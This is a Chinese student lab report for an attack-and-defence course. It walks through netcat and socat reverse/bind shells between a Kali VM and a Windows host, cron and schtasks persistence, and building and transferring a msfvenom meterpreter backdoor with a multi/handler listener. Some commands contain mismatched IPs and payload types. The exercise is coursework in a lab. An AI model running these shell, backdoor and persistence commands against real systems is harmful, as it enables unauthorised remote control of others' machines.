20222321 2024-2025-1 《网络与系统攻防技术》实验二实验报告
一.实验内容
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
二.实验过程
1.使用netcat获取主机操作Shell,cron启动某项任务
(1)查看主机的ip
首先关闭主机和虚拟机的防火墙,在windows主机上下载ncat程序,并打开cmd,输入ipconfig指令查看主机的IP地址
由图可知,主机IP地址为172.16.178.63
(2)使用netcat进行连接并获取shell
虚拟机登入root用户,主机cmd进入ncat所在目录。
Win主机输入指令:ncat.exe -l -p 9000
Linux虚机输入指令:nc 172.16.178.63 9000 -e /bin/sh
win主机输入ls,够正常显示虚拟机下文件名
回到Windows主机的cmd中进行操作,切换到root模式,输入:
echo "* * * * * echo "20222321" > /home/kali/20222321.txt" > /var/spool/cron/crontabs/root
crontab -l
进入Linux虚拟机进入对应路径检查20222321.txt文件,发现修改成功:
2 使用socat获取主机操作Shell, 任务计划启动
(1)用socat连接Windows和kali
windows主机下载socat,通过cmd命令进入socat文件夹所在位置,输入如下命令:
socat.exe tcp-listen:9000 exec:cmd.exe,pty,stderr
kali虚拟机使用socat获取主机的操作shell,在虚拟机中开启监听:socat - tcp:172.16.178.63:9000
(2) 创建计划任务并启动
提前在windows主机中编写要计划启动的程序,代码如图所示:
在虚拟机中执行如下命令schtasks /create /sc minute /mo 1 /tn "test" /tr C:\Users\Desktop\20222321.exe
查看windows主机,可以看到执行的任务计划程序。
3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
关闭windows的实时保护,同时关闭防火墙
(1)生成后门文件
使用ifconfig命令获取虚拟机IP:
可知,虚拟机IP为192.168.58.129
输入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.213.201 LPORT=2321 -f exe > 20222321backdoor.exe
主机进入ncat所在目录下,输入指令:
ncat.exe -lv 2321 > "E:\桌面\20222321backdoor.exe
虚拟机上输入指令:
nc 172.16.178.63 2321 < 20222321backdoor.exe(将生成的后门文件20222321backdoor.exe传给主机)
成功在桌面收到相应文件:
(3)配置监听模块
在Kali终端输入命令msfconsole,对监听模块进行配置:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.58.129
set LPORT 2321
输入exploit,使监听模块开始运行
三.问题及解决方案
(1)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell时文件无法传送到主机
解决:关闭防火墙以及杀毒软件
(2)crontabs root不执行
解决:不修改root文件,改为修改mykali文件
四.学习感悟、思考等
1.实验前需要提前关闭windows的安全防护
2.Windows自动任务无法执行,需要额外补充起始于哪个位置